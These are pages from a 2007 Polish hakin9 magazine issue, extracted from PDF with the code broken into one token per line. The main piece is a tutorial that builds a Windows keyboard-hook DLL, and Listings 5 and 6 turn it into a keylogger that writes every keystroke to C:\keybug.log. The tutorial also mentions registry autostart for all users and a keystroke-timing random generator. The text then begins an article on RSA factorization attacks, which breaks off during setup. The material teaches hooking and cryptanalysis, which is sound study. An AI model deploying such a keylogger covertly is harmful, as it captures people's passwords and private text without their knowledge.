download/personal.shtml), ale naj-
ważniejsze fragmenty kodu można
bez trudu przenieść do Visual C++
2005 lub do innego środowiska pro-
gramistycznego, nie tylko dla C++.
W szczególności osoby programują-
ce w Delphi z łatwością mogą prze-
tłumaczyć poniższe przykłady na

Object Pascal. To samo dotyczy Vi-

sual Basica.

Zacznijmy od biblioteki DLL za-

wierającej funkcję zahaczoną. Dla
wygody do tej samej biblioteki doda-
my także funkcje ustawiające i usu-
wające hak. W środowisku C++Bu-

ilder, z menu File/New/Other... wy-
bieramy pozycję DLL Wizard i klika-
my OK. Pojawi się okno widoczne na
Rysunku 1. Zgodnie ze wzorem na
rysunku należy ustawić widoczne na
nim opcje. Stworzymy w ten sposób
prosty moduł bez pliku nagłówkowe-
go, w którym poza sporej wielkości
komentarzy jest tylko funkcja DllMa-

in. Zapiszmy cały projekt używając
np. nazwy KeyHook dla pliku projek-
tu (tj. pliku z rozszerzeniem .bpr).

Zacznijmy od zapisania uchwytu

do bieżącej biblioteki DLL w zmien-
nej globalnej handleDLL. Uchwyt ten
można odczytać ze zmiennej global-
nej HInstance zdefiniowanej w mo-
dule SysInit (aby była dostępna na-
leży zaimportować nagłówek Sy-

sInit.hpp), ale jest to rozwiązanie
charakterystyczne dla C++Buildera.
Dlatego my odczytamy go z pierw-
szego argumentu funkcji DllMain. W
tym celu modyfikujemy tę funkcję,
jak na Listingu 1.

Następnie przejdźmy do zdefinio-

wania funkcji SetHook, której zada-
niem, jak wskazuje jej nazwa, będzie
ustawienie haka. I tu ważna uwaga.
Nie należy jej wywołania umieszczać
w funkcji DllMain, co może wydawać
się dobrym rozwiązaniem automaty-
zującym zakładanie haka. To jest złe
miejsce, bo biblioteka DLL zawierać
będzie także funkcję zahaczoną, co
oznacza, że biblioteka będzie łado-
wana do przestrzeni adresowej każ-
dej aplikacji, która otrzyma komunikat
związany z naciśnięciem klawiszy. Za
każdym razem wywoływana będzie
oczywiście jej funkcja DllMain.

Ustawienie haka realizowane jest

przez wywołanie funkcji WinAPI Se-

Komunikacja między

aplikacjami a systemem

Windows

Do komunikacji między systemem, a
aplikacją używa się funkcji także zwrot-
nych, czyli funkcji udostępnianych
przez aplikacje lub biblioteki DLL, któ-
rych nazwa i sygnatura są z góry okre-
ślone i które wywoływane są przez sys-
tem w ściśle określonych sytuacjach.
Takimi funkcjami są np. WinMain lub
DllMain (ewentualnie DllEntryPoint)
uruchamiane w momencie uruchomie-
nia aplikacji lub załadowania biblioteki
DLL do pamięci. Do komunikacji inicjo-
wanej przez system są one używane
jednak stosunkowo rzadko. Natomiast
do komunikacji w odwrotnym kierunku,
tj. gdy jest ona inicjowana przez aplika-
cję, korzystanie z funkcji udostępnia-
nych przez systemowe biblioteki DLL
jest standardem. System udostępnia w
ten sposób ogromny zbiór funkcji, które
tworzą WinAPI tj. interfejs programisty
aplikacji Windows.

W sieci

http://www.borland.pl/download/

personal.shtml – lista darmowych
wersji narzędzi deweloperskich fir-
my Borland

ht tp: / / msdn2.microsof t.com

– dokumentacja WinAPI i platformy
.NET. Warto zacząć od wpisania w
polu search hasła hooks.

Dokumentacja funkcji zwrotnej Keybo-
ardProc dostępna jest w MSDN pod
adresem:

http://msdn.microsoft.com/library/

en-us/winui/winui/windowsus
erinterfacewindowing/hooks/
hookreference/hookfunctions/
keyboardproc.asp. Tę samą stronę
zobaczymy wpisując w Google ha-
sła KeyboardProc MSDN i klikając
pierwszy link.

Rysunek 1.

Ustawienia w kreatorze biblioteki DLL

background image

hakin9 Nr 4/2007

www.hakin9.org

Atak

22

tWindowsHookEx, której pierwszym
argumentem jest stała identyfikująca
typ interesujących nas komunikatów,
w naszym przypadku będzie to sta-
ła

WH _ KEYBOARD

, drugim jest wskaźnik

do funkcji zahaczonej, którą będzie-
my musieli jeszcze zdefiniować, na-
tomiast trzeci wskazuje uchwyt biblio-
teki, w której funkcja zahaczona jest
umieszczona. W naszym przypad-
ku, w którym funkcja ustawiająca hak
i funkcja zahaczona są w tej samej bi-
bliotece umieścimy w trzecim argu-
mencie uchwyt do bieżącej biblioteki.

Na Listingu 2. widzimy, że zade-

klarowana została zmienna globalna
o nazwie

handleHook

, do której w me-

todzie SetHook zapisaliśmy uchwyt
ustawionego haka. Po wywołaniu
funkcji SetWindowsHookEx informu-
jemy użytkownika o powodzeniu lub
niepowodzeniu ustawienia haka. Ja-
ko drugi argument funkcji SetWin-

dowsHookEx podaliśmy wskaźnik
do funkcji KeyboardHookProc. Szko-
puł w tym, że ona jeszcze nie istnie-
je. Ale nie wszystko na raz.

Dla porządku zdefiniujmy od razu

funkcję usuwającą hak, przedstawio-
ną na Listingu 3.

Podobnie, jak w przypadku po-

przedniej funkcji, także tu napraw-
dę ważna jest tylko pierwsza linia,
w której wywołujemy funkcję WinAPI

UnhookWindowsHookEx. Pozosta-
łe dwie służą do wyświetlania komu-
nikatu o powodzeniu operacji. Funk-
cja UnhookWindowsHookEx usu-
wa hak identyfikowany na podstawie
uchwytu, który zapisaliśmy w zmien-
nej handleHook.

Obie funkcje należy wyekspor-

tować z biblioteki DLL. W tym ce-
lu do ich sygnatur, przed wska-
zaniem zwracanego typu doda-
liśmy modyfikatory

extern

"C"

_ _ declspec

(dllexport).

Funkcja zahaczona

Wreszcie możemy przejść do zdefinio-
wania funkcji zahaczonej (zdecydowa-
liśmy już, że będzie nazywała się Key-

boardHookProc), która będzie wywo-
ływana, kiedy tylko dotkniemy klawia-
tury. Jej sygnatura jest ściśle określo-
na w dokumentacji WinAPI (zobacz
ramka W sieci). Przyjmuje trzy argu-

menty: code, wParam i lParam. Pierw-
szy z nich informuje o tym, co funk-
cja zahaczona powinna zrobić z prze-
chwyconym komunikatem. Jeżeli jej
wartość jest mniejsza od zera, komu-
nikat powinien zostać zignorowany.
Możliwe wartości nieujemne to 0 (sta-
ła

HC _ ACTION

) lub 3 (

HC _ NOREMOVE)

. In-

formują o wykryciu komunikatu (po-
równaj opis komunikatów i w MSDN),
a różnią się tym, że w drugim przypad-
ku komunikat nie został jeszcze zdję-
ty z kolejki komunikatów. W przypadku
komunikatów związanych z klawiaturą

wartość code jest niemal zawsze rów-
na 0. Wyjątkiem jest na przykład Mi-
crosoft Word, który w bardziej złożo-
ny sposób obsługuje komunikaty kla-
wiaturowe. Pozostałe dwa argumen-
ty funkcji zahaczonej przekazują da-
ne komunikatu. Parametr wParam to
kod znaku naciśniętego klawisza, a w
bitach lParam umieszczone są dodat-
kowe informacje o kontekście, w jakim
naciśnięty został klawisz. Szczegóły
omówię poniżej.

Funkcja zahaczona będzie wywo-

ływana z poziomu aplikacji, do której

Listing 1.

Inicjacja biblioteki DLL

HINSTANCE

handleDLL

=

NULL

;

#pragma argsused

BOOL

WINAPI

DllMain

(

HINSTANCE

hinstDLL

,

DWORD

fwdreason

,

LPVOID

lpvReserved

)

{

if

(

fwdreason

==

DLL_PROCESS_ATTACH

)

handleDLL

=

hinstDLL

;

return

1

;

}

Listing 2.

Ustawianie haka klawiaturowego

#include

<SysInit.hpp>

HHOOK

handleHook

=

NULL

;

extern

"C"

__declspec

(

dllexport

)

void

__stdcall

SetHook

(

void

)

{

handleHook

=

SetWindowsHookEx

(

WH_KEYBOARD

,

(

HOOKPROC

)

KeyboardHookProc

,

HInst

ance

,

NULL

);

if

(

handleHook

==

NULL

)

MessageBox

(

NULL

,

"Założenie haka nie powiodło

się"

,

"KeyHook"

,

MB_OK

|

MB_ICONERROR

);

else

Message

Box

(

NULL

,

"Założenie haka udało się"

,

"KeyHook"

,

MB_OK

|

MB_ICONINFORMATION

);

}

Rysunek 2.

Przykładowy plik generowany w trakcie podsłuchiwania

klawiatury

background image
background image

hakin9 Nr 4/2007

www.hakin9.org

Atak

24

ładowana będzie nasza biblioteka,
dlatego musi być wyeksportowana
(stąd modyfikatory w jej sygnaturze).
Aby uniknąć dodatkowego jej dekla-
rowania funkcję zahaczoną proponu-
ję wstawić przed funkcję SetHook.

W momencie naciśnięcia klawi-

sza na klawiaturze system generuje
dwa komunikaty. Pierwszy, gdy kla-
wisz zostanie wciśnięty, drugi – gdy
jest zwalniany. Widoczny w funkcji
warunek sprawdzający wartość 31-
go bitu parametru lParam powoduje,
że w obu przypadkach generowany
jest inny dźwięk (służy do tego funk-
cja WinAPI Beep): wyższy, gdy kla-
wisz jest naciskany, i niższy, gdy jest
zwalniany. Po zareagowaniu na wy-
krycie komunikatu należy jeszcze wy-
wołać funkcję CallNextHookEx, która
powoduje wywołanie następnej funk-
cji zahaczonej związanej z tym sa-
mym typem komunikatów. Dzięki te-
mu są one organizowane w swoiste
łańcuchy, z których system wywołuje
pierwszy element, a funkcje zahaczo-
ne dbają o wywołanie następnych.

Na razie funkcja nie zapisuje

jeszcze kodów naciśniętych klawi-
szy, a jedynie uroczo sobie pobrzę-
kuje. To pozwoli nam jednak upew-
nić się, że jest ona rzeczywiście wy-
konywana. Warto również dodać do

DllMain polecenia pokazujące komu-
nikaty informujące o załadowaniu bi-
blioteki do pamięci i jej usunięciu.
Dzięki temu będziemy mogli na wła-
sne oczy przekonać się, że bibliote-
ka jest ładowana do przestrzeni ad-
resowej każdej aplikacji, która otrzy-
ma komunikat o naciśnięciu klawisza
(tzn. która będzie aktywna, gdy bę-
dziemy stukać w klawiaturę).

Aby przetestować działanie naszego
haka bez pisania osobnej aplikacji
możemy użyć następującej komendy
Windows:
rundll32 KeyHook,SetHook.

Po pojawieniu się komunikatu Za-

łożenie haka udało się nie klikaj-
my OK, aby uniknąć usunięcia pier-
wotnej instancji biblioteki DLL z pa-
mięci i tym samym usunięcia haka.
Wówczas naciskając klawisze po-
winniśmy usłyszeć charakterystycz-

ne brzęczenie – znak, że nasz hak
działa. Zauważmy, że wykrywane są
osobno naciśnięcia wszystkich kla-
wiszy, w tym klawiszy funkcyjnych
oraz klawiszy Ctrl, Shift i Alt.

W dołączonym do artykułu ko-

dzie umieściłem projekt aplikacji,
która pozwala na wygodniejszą kon-
trolę ładowania biblioteki oraz zakła-
dania i zwalniania haka.

Podsłuchiwanie

klawiatury

Teraz dopiero zrobimy się niegrzecz-
ni. Zmodyfikujemy bowiem funkcję
zahaczoną tak, żeby zapisywała do
pliku naciśnięte klawisze. Nie będzie
z tym żadnego kłopotu, bo jak już
wiemy, informacja ta przekazywa-

na jest do funkcji w parametrze wPa-

ram. Wystarczy zapisać ją do pliku.
Najprostsza realizacja tego pomysłu
ukazana została na Litingu 5.

Zwróćmy uwagę, że przechwyty-

wany komunikat nie przekazuje infor-
macji o tym, czy na monitorze poja-
wiła się mała, czy duża litera (ewen-
tualnie czy pojawiła się cyfra, czy je-
den ze znaków !, @, # itd.) Komunikat
przekazuje tylko taką informację, ja-
ka jest odbierana od klawiatury. Naci-
śnięcie klawiszy Shift i Caps Lock jest
sygnalizowane osobnymi komunika-
tami i w funkcji zahaczonej ich na-
ciśnięcie i zwolnienie trzeba śledzić
samodzielnie. Podobnie jest z klawi-
szem Ctrl. Natomiast w parametrze

lParam przekazywana jest informa-

Listing 4.

Zdejmowanie haka klawiaturowego, lang=C++

extern

"C"

__declspec

(

dllexport

)

void

__stdcall

RemoveHook

(

void

)

{

bool

result

=

UnhookWindowsHookEx

(

handleHook

);

if

(

result

)

MessageBox

(

NULL

,

"Usunięcie haka udało się"

,

"KeyHook"

,

MB_OK

|

MB_ICONINFORMATION

);

else

MessageBox

(

NULL

,

"Usunięcie haka nie powiodło się"

,

"KeyHook"

,

MB_OK

|

MB_ICONERROR

);

}

Listing 3.

Funkcja uruchamiana w momencie wykrycia komunikatu

klawiaturowego

extern

"C"

__declspec

(

dllexport

)

LRESULT

CALLBACK

KeyboardHookProc

(

int

code

,

WPARAM

wParam

,

LPARAM

lParam

)

{

if

(

code

>=

HC_ACTION

)

{

if

((

lParam

&

0x80000000

)==

0

)

Beep

(

150

,

50

);

else

Beep

(

50

,

50

);

}

return

CallNextHookEx

(

handleHook

,

code

,

wParam

,

lParam

);

}

Rysunek 3.

Gdy na ekranie pojawi się ten komunikat nie klikajmy OK.

Wówczas usłyszymy działanie haka.

background image

Hak na Windows

hakin9 Nr 4/2007

www.hakin9.org

25

cja o naciśnięciu klawisza Alt, którą
można odczytać z 29-go bita.

Oczywiście prowadzenie prawdzi-

wego podsłuchu wymagałoby zare-
jestrowania dodatkowych informacji.
Warto zapisać czas naciśnięcia klawi-
sza (w poniższej metodzie korzystam
z funkcji WinAPI GetTickCount zwra-
cającej ilość milisekund od momentu
uruchomienia komputera), oczywiście
kod klawisza, informację o tym, czy
klawisz był naciśnięty, czy zwolnio-
ny oraz stan bitów parametru lParam.
Realizuje to wersja funkcji zahaczonej
znajdująca się na Listingu 6.

W dołączonym do artykułu ko-

dzie dostępna jest nieco rozszerzo-
na wersja metody KeyboardHook-

Proc, która na bieżąco wyświetla do-
datkowe informacje na ekranie.

Jak widać ustawianie globalne-

go haka nie jest specjalnie trudne.
Moc tego mechanizmu jest przy tym
ogromna. Pozwala on aplikacjom

trzecim na monitorowanie i kontrolę
komunikacji między systemem, a uru-
chomionymi w nim aplikacjami. Dzia-
łanie haka jest wprawdzie ograniczo-
ne do jednego użytkownika, ale wy-
starczy umieścić odpowiedni wpis w
rejestrze, aby aplikacja zakładająca
hak uruchamiana była przy logowaniu
każdego użytkownika. Jeszcze wy-
godniejsze, i dające dodatkowe moż-
liwości, byłoby przygotowanie usługi
uruchamianej przy starcie systemu.

Haki nie służą

tylko do hackowania

Mechanizm haków nie został oczywi-
ście zaprojektowany przez programi-
stów Microsoft po to, żeby możliwe
było szpiegowanie komputerów kon-
trolowanych przez system Windows.
Ich zadania mogą być bardzo różno-
rodne: od przygotowywania aplikacji
instruktażowych, w których czynno-
ści użytkownika mogą być śledzone
przez program-nauczyciel, po progra-
mowanie debugerów zintegrowanych
ze środowiskami programistycznymi.
Nawet przygotowane przez nas na
początku sygnalizowanie naciśnięcia
klawisza dźwiękiem, to dobry przykład
praktycznego wykorzystania haka. Ta-
kie potwierdzenie naciśnięcia klawisza
może być bardzo pożyteczne choćby

w przypadku osób niepełnosprawnych
korzystających z komputera.

Natomiast osoby zajmujące się

bezpieczeństwem komputerów mogą
zainteresować się innym zastosowa-
niem haka klawiaturowego. Z punktu
widzenia kryptografii nieocenione by-
łoby dostępne w systemach kompute-
rowych źródło prawdziwych liczb lo-
sowych. Ponieważ jedynym kompo-
nentem tych systemów, który nie jest
w pełni deterministyczny, jest czło-
wiek. Tylko użytkownicy komputerów
mogą stanowić źródło przypadkowo-
ści. Skupmy się na jednym z kanałów,
którym użytkownik ingeruje w pracę
systemu, a mianowicie na klawiatu-
rze. A gdybyśmy za pomocą naszego

haka monitorowali naciskanie klawi-
szy, oczywiście nie wybierane klawi-
sze, ale czas ich naciskania lub zwal-
niania? W końcu żaden człowiek nie
jest w stanie kontrolować co do mili-
sekundy momentu, w którym naciska
klawisze. Możemy więc uznać, ostat-
nią cyfrę ilości milisekund od urucho-
mienia komputera do momentu naci-
śnięcia klawisza jako zupełnie przy-
padkową. I to nie pseudolosową, a
rzeczywiście losową. Co zabawne
nie musimy wiele modyfikować na-
szej funkcji zahaczonej. Wystarczy
zmienić parametr zapisywany do pli-
ku. Prezentuje to Listing 7.

Tym razem reagujemy tylko na te

komunikaty, w przypadku których pa-

Listing 5.

W tej wersji rejestrowane są tylko naciśnięte klawisze, żadne

informacje dodatkowe. Ułatwia to odczytanie tekstu z pliku, ale utrudnia

śledzenie modyfikatorów

#include

<fstream.h>

extern

"C"

__declspec

(

dllexport

)

LRESULT

CALLBACK

KeyboardHookProc

(

int

code

,

WPARAM

wParam

,

LPARAM

lParam

)

{

if

(

code

>=

HC_ACTION

)

{

if

((

lParam

&

0x80000000

)==

0

)

{

ofstream

txt

(

"C:

\\

keybug.log"

,

ios

::

app

);

if

(

wParam

>

32

&&

wParam

<

127

)

txt

<<

(

char

)

wParam

;

else

txt

<<

"["

<<

wParam

<<

"]"

;

txt

.

close

();

}
}

return

CallNextHookEx

(

handleHook

,

code

,

wParam

,

lParam

);

}

Rysunek 4.

Ilość losowych cyfr wygenerowanych przez powyższy program

zależy od stopnia użycia klawiatury

background image

hakin9 Nr 4/2007

www.hakin9.org

Atak

26

rametr code jest równy HC_ACTION.
Unikamy w ten sposób zapisywania
liczby losowej w przypadku, gdy ko-
munikat nie został zdjęty z kolejki –
wywołanie funkcji jest wówczas po-
wtórnie generowane przez komputer
po stałym czasie (z taką sytuacją ma-
my do czynienia na przykład w przy-
padku niektórych aplikacji np. kompo-
nentów Microsoft Office).

Powyższa funkcja spowoduje, że

w pliku random.txt przyrastać będzie
zbiór losowych cyfr, za pomocą któ-
rego można utworzyć losowe liczby.

W przypadku pojedynczego użytkow-
nika, szczególnie preferującego mysz-
kę, zbiór nie będzie rósł na tyle szyb-
ko, aby mógł być profesjonalnie wyko-
rzystany, jeżeli jednak hak ustawia-
ny będzie automatycznie po zalogo-
waniu każdego użytkownika w ser-
werze, a dodatkowo monitorować bę-
dziemy także inne kanały komunikacji
między użytkownikiem a komputerem,
w szczególności ruch myszki, to efekt
może być całkiem zadowalający.

Na CD dołączonym do tego nu-

meru jest wersja kodu, która nie tylko
zapisuje, ale również odczytuje cyfry
z pliku. Realizuje to klasa QueueFile,
która usuwa raz użyte cyfry. Ponad-
to dostępna jest tam funkcja, która z
dziesięciu cyfr tworzy 32-bitową do-
datnią liczbę całkowitą (unsigned int).

Wspominając o możliwościach

profesjonalnego wykorzystania mu-
szę zastrzec, że powyższe rozwiąza-
nie, choć wygląda na takie, które mu-

si działać powinno być uważnie prze-
testowane. Można to jednak zrobić do-
piero mając ogromny magazyn liczb lo-
sowych. Do testów należy użyć jedne-
go z testerów generatorów liczb pseu-
dolosowych. Ustaloną renomę ma na
przykład Diehard Battery of Tests (http:

//www.stat.fsu.edu/pub/diehard/). Je-
go autor przetestował, poza dużą licz-
bą generatorów liczb pseudolosowych,
także kilka generatorów liczb losowych
korzystających z urządzeń fizycznych.
Żaden z tych ostatnich nie zaliczył
sprawdzianu. Ciekaw jestem, czy nasz

ludzki generator będzie w tym lepszy.
O wynikach postaram się powiadomić
jak tylko uzbieram wystarczającą ilość
liczb. l

O autorze

Fizyk zajmujący się na co dzień optyką kwantową i układami nieuporządkowanymi
na Wydziale Fizyki, Astronomii i Informatyki Stosowanej Uniwersytetu Mikołaja Ko-
pernika w Toruniu.

Jego specjalnością są symulacje ewolucji układów kwantowych oddziaływują-

cych z silnym światłem lasera.

Od 1998 interesuje się programowaniem dla systemu Windows, w szczególno-

ści w środowisku Borland C++Builder. Ostatnio zainteresowany platformą .NET i ję-
zykiem C#.

Wierny użytkownik kupionego w połowie lat osiemdziesiątych "komputera osobi-

stego" ZX Spectrum 48k.

Kontakt z autorem: jacek@fizyka.umk.pl

Listing 6.

Zapisywanie całego kontekstu naciśniętego klawisza,

lang=C++

extern

"C"

__declspec

(

dllexport

)

LRESULT

CALLBACK

KeyboardHookProc

(

int

code

,

WPARAM

wParam

,

LPARAM

lParam

)

{

if

(

code

>=

HC_ACTION

)

{

char

c

=

wParam

;

char

kod

[

3

];

itoa

(

c

,

kod

,

10

);

char

lParam_bits

[

32

];

itoa

(

lParam

,

lParam_bits

,

2

);

//zapis do pliku

ofstream

txt

(

"C:

\\

keybug.log"

,

ios

::

app

);

txt

<<

GetTickCount

()

<<

": "

;

if

(

wParam

>

32

&&

wParam

<

127

)

{

if

((

lParam

&

0x20000000

)==

0x20000000

)

txt

<<

"Alt+"

;

txt

<<

(

char

)

wParam

;

}

else

txt

<<

"["

<<

wParam

<<

"]"

;

txt

<<

" "

<<

(((

lParam

&

0x80000000

)==

0

)

?

"(wciśnięty)"

:

"(zwolniony)"

);

txt

<<

" ("

<<

wParam

<<

") "

<<

lParam_bits

<<

"

\n

"

;

txt

.

close

();

}

return

CallNextHookEx

(

handleHook

,

code

,

wParam

,

lParam

);

}

Listing 7.

Prosty generator liczb losowych, lang=C++

extern

"C"

__declspec

(

dllexport

)

LRESULT

CALLBACK

KeyboardHookProc

(

int

code

,

WPARAM

wParam

,

LPARAM

lParam

)

{

if

(

code

==

HC_ACTION

)

{

if

((

lParam

&

0x80000000

)==

0

)

{

long

t

=

GetTickCount

();

short

digit

=

t

-

10

*(

t

/

10

);

ofstream

txt

(

"c:

\\

random.txt"

,

ios

::

app

);

txt

<<

digit

;

txt

.

close

();

}
{

return

CallNextHookEx

(

handleHook

,

code

,

wParam

,

lParam

);

}

background image
background image

www.hakin9.org

hakin9 Nr 4/2007

28

Atak

W

tym artykule zagłębimy się w sposób
działania RSA i możliwości przepro-
wadzenia ataków faktoryzacyjnych

na niego. Przedstawimy, jak klucze RSA i pro-
cedury ataku mogą zostać użyte do otrzyma-
nia klucza prywatnego za pomocą klucza pu-
blicznego.

Do pełnego zrozumienia artykułu niezbęd-

na będzie podstawowa znajomość programo-
wania w C oraz znajomość podstaw matema-
tyki. W tabeli referencji znajdziesz pomocny w
zrozumieniu artykułu materiał.

Wszystkie przykłady zostały stworzone i

przetestowane na systemie GNU/Linux.

Kryptografia

klucza publicznego

W przeciwieństwie do kryptografii klucza pry-
watnego, gdzie w celu zaszyfrowania i zde-
szyfrowania wiadomości używany jest poje-
dyńczy klucz, kryptografia klucza publicznego
składa się z dwóch kluczy. Nazywane one są
kluczem prywatnym i publicznym. Aby zaszy-
frować wiadomość, użytkownik potrzebuje każ-
dego z nich. Podczas, gdy prywatny klucz musi
być utajniony, publiczny jest dostępny dla każ-
dego, kto chce wysłać zaszyfrowane wiadomo-

ści do użytkownika. Wiadomość zakodowana
kluczem publicznym może zostać rozkodowa-
na odpowiednim kluczem prywatnym. Aby taka
sytuacja była możliwa, musimy przeanalizować
kilka matematycznych problemów. W tym celu
używa się właśnie faktoryzacji wielkich liczb.

Początki kryptografii kluczy publicznych

związane są z publikacją Diffie'a i Hellmana z ro-
ku 1976. Rok później Rivest, Shamir i Adleman
zaproponowali kryptosystem RSA, najczęściej
stosowany obecnie system kryptograficzny.

W 1997 roku dokumenty kryptografów z

British Government Group for the Security of
Electronic Communications (GSEC) ukaza-
ły, że ta metoda kryptografii była już znana w
1973 roku.

Atak faktoryzacyjny

na RSA

Daniel Lerch Hostalot

stopień trudności

RSA to bez wątpienia najpopularniejszy system publicznej

kryptografii pozostający w użyciu, który przetrwał wnikliwe testy

kryptoanalityków trwające już ponad ćwierć wieku.

Bezpieczeństwo tego popularnego algorytmu jest oparte o

trudności związane z faktoryzacją dużych liczb, czyli tych, które

mają ponad 100 cyfr w zapisie dziesiętnym.

Czego się nauczysz…

• jak działa RSA;
• jak przeprowadzać ataki faktoryzacyjne.

Powinieneś wiedzieć…

• jakie są podstawy programowania w C.

background image

Atak faktoryzacyjny na RSA

hakin9 Nr 4/2007

www.hakin9.org

29

Kryptosystem RSA

Jak wspomnieliśmy wcześniej, bez-
pieczeństwo RSA opiera się na trud-
nościach związanych z procedurami
obliczeniowymi faktoryzacji wielkich
liczb. Faktoryzacja liczby oznacza
znalezienie liczb pierwszych (fakto-
rów), które, pomnożone przez siebie,
dają tę właśnie liczbę. Jeśli, na przy-
kład, chcemy sfaktoryzować liczbę
12, otrzymamy w rezultacie 2·2·3.
Najprostszy sposób znalezienia fak-
torów liczby n polega na podzieleniu
jej przez wszystkie liczby pierwsze
mniejsze od niej samej. Ta proce-
dura, mimo że koncepcjonalnie pro-
sta, jest bardzo powolna w przypad-
ku faktoryzacji wielkich liczb.

Wykonajmy kilka kalkulacji dla

przykładu. Klucz o 256 bitach (któ-
ry później złamiemy) ma około 78

dziesiętnych cyfr (1078). Jak poka-
zują klucze RSA, taka liczba ma za-
zwyczaj tylko dwa pierwsze faktory,
każdy z nich posiada około 39 cyfr.
To oznacza, że aby sfaktoryzować
liczbę, będziemy musieli podzielić ją
przez wszystkie liczby pierwsze o 39
lub mniej cyfrach (1039). Zakładając,
że jedynie 0.1% liczb to liczby pierw-
sze, wykonamy około 1036 działań
podziału. Załóżmy, że mamy sys-
tem, mogący wykonać 1020 dzieleń
w ciągu sekundy. W tym wypadku,
złamanie klucza zajmie nam 1016
sekund. Innymi słowy, więcej niż 300
milionów lat, milion razy więcej, niż
wiek Wszechświata. Na szczęście,
jest też inny sposób.

Przypatrzmy się, jak działa RSA.

Najpierw wygenerujemy klucz publicz-
ny i prywatny (w tabelce obok znajdzie-

my kilka interesujących matematycz-
nych koncepcji). Aby tego dokonać,
musimy wykonać następujące kroki:

Krok 1:

Losowo wybieramy dwie liczby
pierwsze p i q. Mnożymy je przez
siebie, otrzymując n:

. Jeśli

przyjmiemy, dla przykładu, że
oraz

, otrzymamy

.

Krok 2:

Obliczamy wskaźnik Eulera (Totien-
ta), przy pomocy następującej for-
m u ł y :

.

W naszym przypadku otrzymamy

.

Krok 3:

Znajdujemy wykładnik potęgowy do
szyfrowania (później użyjemy go
przy szyfrowaniu), nazywamy go e.
Ta liczba musi być kompatybilna z

Dobrym przykładem

może być:

, ponieważ nie po-

siada żadnego faktora z 20 (fakto-
ry 2 i 5).

Krok 4:

Obliczamy wykładnik potęgowy
do deszyfrowania, nazywamy go
d (później wykorzystamy go przy
rozszyfrowywaniu). Ta liczba mu-
si być zgodna z

, a więc

. Oznacza to, że d

będzie liczbą z przedziału od 1 do
20, która pomnożona przez 3 i po-
dzielona przez 20 da 1. d może więc
wynosić 7.

Klucze:

Klucz publiczny użytkownika należy
do pary (n, e), w naszym przypadku
(33, 3), zaś klucz prywatny to d, czy-
li 7. Oczywiście, liczby p, q oraz

powinny pozostać ukryte.

(De)szyfrowanie:

Na tym etapie, wystarczy nam za-
szyfrowanie za pomocą

oraz deszyfrowanie przy pomocy

. Jeśli przyjmiemy, że

nasza wiadomość to

, odpo-

wiadające szyfrowanie będzie mia-
ło postać

. Aby zde-

szyfrować wiadomość, wystarczy
wykonać

.

Koncepcje matematyczne

Dzielnik lub Faktor: Liczba całkowita jest dzielnikiem (lub faktorem) liczby , gdy ist-
nieje inna liczba całkowita , która jest zgodna z

.

Na przykład:

Liczby pierwsze i złożone

Liczba całkowita jest pierwszą, jeśli może być podzielona jedynie przez jedynkę i

samą siebie. Liczba całkowita jest złożoną, jeśli nie jest liczbą pierwszą.

Na przykład:

jest liczbą złożoną, 7 i 3 są liczbami pierwszymi.

Faktoryzacja

Faktoryzacja liczby całkowitej jest procesem podziału jej na dwa pierwsze fak-

tory:

, gdzie są liczbami pierwszymi i są dodatnimi liczbami całko

witymi.

Przykład: 84 jest faktoryzowalna jako

.

Modulo

Modulo definiujemy i oznaczamy jako

resztę z całkowitego dzielenia

przez .

Na przykład:

,

,

,

.

a i b są modulo od n:

jeśli ich różnica (a-b) jest wielokrotnością n.

Największy Wspólny Dzielnik

Największym wspólnym dzielnikiem dwóch liczb całkowitych i , reprezentowa-

nym jako

, większą liczbę całkowitą, która spełnia dzielenie i .

Na przykład:

Algorytm Euklidesa:

Algorytm Euklidesa oblicza największy wspólny dzielnik dwóch liczb w oparciu o

, gdzie

są całkowite i jest resztą z dzielenia i

Na przykład:

(1)
(2)
(3)

Wskaźnik Eulera (Totienta):

Mając

wiemy, że

to ilość liczb całkowitych z przedziału

, które są pierwszymi* z . Dla

,

.

*Dwie liczby całkowite i są pierwszymi względem siebie (lub relatywnie

pierwsze), jeśli

.

background image

hakin9 Nr 4/2007

www.hakin9.org

Atak

30

Jak wspomnieliśmy na początku,

i jak widać z powyższych procedur,
zabezpieczenie kryptosystemu opie-
ra się na liczbie n. Oznacza to, że je-
śli atakujący, mający dostęp do klu-
cza publicznego, zdoła sfaktoryzo-
wać n, otrzymując p i q, będzie mu-
siał jedynie użyć powyższych formuł,
by otrzymać klucz prywatny.

Wyzwanie

Faktoryzowania RSA

Wyzwanie Faktoryzowania RSA
to konkurs, finansowany przez La-
boratoria RSA, w którym pokaź-
ne nagrody przyznawane są tym,
którzy zdołają sfaktoryzować pew-
ne bardzo wielkie liczby. Dzięki te-
mu, stan bezpieczeństwa RSA jest
ciągle monitorowany – w przypadku
złamania klucza, jego długość jest
zwiększana.

W momencie pisania artykułu,

rekord faktoryzacji wynosi RSA-640,
liczba o 193 cyfrach, która zosta-
ła sfaktoryzowana 2 listopada 2005
przez F. Bahra. Kolejnym wyzwa-
niem jest RSA-704, za złamanie któ-
rego przyznana zostanie nagroda
$30.000.

Bez wątpienia, Wyzwanie Fakto-

ryzowania RSA jest świetnym spo-
sobem na poznanie obecnej sytuacji
bezpieczeństwa systemów opartych
o faktoryzację.

Aktualne wyzwania zostały ze-

brane w tabeli, zamieszczonej na
końcu tego artykułu.

Atak faktoryzacyjny

W dalszej części artykułu przepro-
wadzimy przykładowy atak na klucz
RSA. W celu oszczędzenia czasu
wymaganego na obliczenia, użyje-
my klucza dużo krótszego, niż zwy-
czajowo, upraszczając faktoryzację.
Mimo, że nie jest to przykład z życia
wzięty, prezentuje, jak można w peł-
ni wykonać atak.

Najpierw stworzymy środowisko

do pracy z OpenSSL, generując nie-
zbędne klucze oraz szyfrując wiado-
mość, której użyjemy jako cel nasze-
go ataku. Później, sfaktoryzujemy
modulo n, otrzymując klucz prywat-
ny, który posłuży nam do zdeszyfro-
wania wiadomości.

OpenSSL i RSA

OpenSSL jest bardzo pożytecz-
nym narzędziem kryptograficznym
o otwartym kodzie. W sekcji refe-
rencji znajdziesz informacje, skąd
je pobrać; większość dystrybucji
GNU/Linux posiada je domyślnie. W
tej sekcji użyjemy tego narzędzia do
stworzenia testowego środowiska, w
którym przeprowadzimy atak.

Pierwszym krokiem jest wyge-

nerowanie pary kluczy do szyfro-
wania i deszyfrowania. Wygeneru-
jemy klucze o 256 bitach, zbyt krót-
kie, by zabezpieczyć naszą komuni-
kację, jednak wystarczające na cele
przykładu.

Generujemy parę kluczy, ukry-

wając nasz klucz prywatny.

